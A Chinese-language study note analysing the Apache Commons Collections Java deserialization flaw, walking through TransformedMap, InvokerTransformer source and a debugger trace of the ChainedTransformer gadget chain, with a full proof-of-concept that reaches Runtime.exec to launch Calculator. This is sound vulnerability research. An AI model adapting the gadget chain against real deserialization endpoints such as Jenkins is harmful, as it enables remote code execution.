Apache Commons Collections反序列化原理
redrain大佬的这篇文章写这个原理写的非常详细:
Lib之过?Java反序列化漏洞通用利用分析
涉及到两个大类:
- Map-> TransformedMap
- Transformer-> InvokerTransformer,ConstantTransformer,ChainedTransformer
Apache Commons Collections背景知识(任意代码执行的原理)
根据官方说明:
Commons-Collections seek to build upon the JDK classes by providing new interfaces, implementations and utilities.
Commons-Collections旨在给JDK中自带的Collection类提供新的接口、实现以及功能。
参考:https://commons.apache.org/proper/commons-collections/
这个Map不一般:TransformedMap
全限定名是:org.apache.commons.collections.map.TransformedMap
先从JDK自带的Map说起。Map(JDK自带java.util.Map接口,其中java.util.HashMap是其常见实现类)是存储键值对的数据结构。然后相应地,Apache Commons Collections实现了TransformedMap
(字面意思“经过转换后的Map”。具体来说是通过decorate
方法。)
这个类实现了Map(通过继承间接实现)和Serializable。
转换Map的关键接口:Transformer
全限定名:org.apache.commons.collections.Transformer
看一下Transformer这个接口源代码里的注释:
它只需要被实现一个接口:
public Object transform(Object input);
接收一个对象input,然后通过transform方法将其转换成另外一个对象,然后返回,之前的对象保持不变。
特殊的InvokerTransformer
全限定名:org.apache.commons.collections.functors.InvokerTransformer
Apache Commons Collections中有一些已经实现的Transformer类,其中有一个比较特殊的,叫做InvokerTransformer,它的特殊在于可以 执行传参中指定的任意类的任意方法!
public class InvokerTransformer implements Transformer, Serializable {
...
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
前面做了大量准备,就是在等这一步漏洞触发。跟进这最后一步调试看看。
看一下这个poc里如何最后一步通过Map.Entry#setValue,调用transform方法的:
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
->
org/apache/commons/collections/map/AbstractInputCheckedMapDecorator#setValue
->
org/apache/commons/collections/map/TransformedMap#checkSetValue
->
org/apache/commons/collections/functors/ChainedTransformer#transform
对之前传入的每个Transformer都调用transform方法:
一个一个看,ConstantTransformer直接返回Runtime类:
注意到这个ChainTransformer比较特殊,其成员Transformer转换完之后返回的Object会交给下一个Transformer继续转换:
比如最开始是从ConstantTransformer返回的Runtime类对象,
进入org/apache/commons/collections/functors/InvokerTransformer#transform
看看,
经过第一个InvokerTransformer转换完成之后得到的Object是java.lang.Runtime.getRuntime()
这个Method对象。
第二个InvokerTransformer调用这个对象的invoke方法,得到一个java.lang.Runtime
对象。
最后一步演示:
总结
1、ConstantTransformer:
=>Runtime
class对象;
2、第一个InvokerTransformer:
Runtime
class对象(调用getMethod
)
=>java.lang.Runtime.getRuntime()
这个Method对象
3、第二个InvokerTransformer:
java.lang.Runtime.getRuntime()
这个Method对象(调用invoke
)
=>java.lang.Runtime
对象
4、第三个InvokerTransformer:
java.lang.Runtime
对象(调用exec
,传入参数Calculator)
=> 实现命令执行
阅读ysoserial源码,发现主要是CommonsCollections1
这个payload的代码:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
漏洞调试
在IDEA里新建一个项目,把commons-collections作为lib加进去,直接调试。
PoC
来自redrain博客。
package com.cqq;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
}
注意,由于我们只需要对value进行操作,所以这里:
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
在本该传key transformer的地方只传了null,因为我们没有对key进行转换。
杂
看了一下Jenkins的lib,果然有commons-collection3这个包: